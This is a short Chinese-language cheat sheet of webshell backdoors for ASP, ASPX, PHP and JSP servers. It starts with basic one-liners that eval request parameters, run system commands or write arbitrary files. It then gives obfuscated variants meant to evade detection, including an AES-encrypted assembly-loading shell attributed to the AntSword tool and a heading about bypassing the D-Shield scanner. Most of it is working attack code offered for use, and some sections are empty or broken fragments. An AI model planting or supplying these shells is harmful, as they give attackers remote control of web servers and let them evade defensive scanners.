常见的一句话
ASP:<%eval request("pass")%>
ASPX: <%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>
PHP:<?php eval(@$_POST['a']); ?>
JSP: <%Runtime.getRuntime().exec(request.getParameter("i"));%>//无回显示执行系统命令
简单变形
ASP:1
<%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>//-7
ASPX:
1 | <%@ Page Language = Jscript %> |
PHP:1
$_GET[a]($_GET[b]);
JSP:1
2
3
4<%
if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
二次变形
1 |
|
三次变形
1 | ASP:<% Language="C#" %><% namespace="System.Reflection"%><%if (Request["pass"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>//蚁剑中的一句话 |
四次变形
1 | 1、利用随机异或无限免杀d盾蚁剑版: |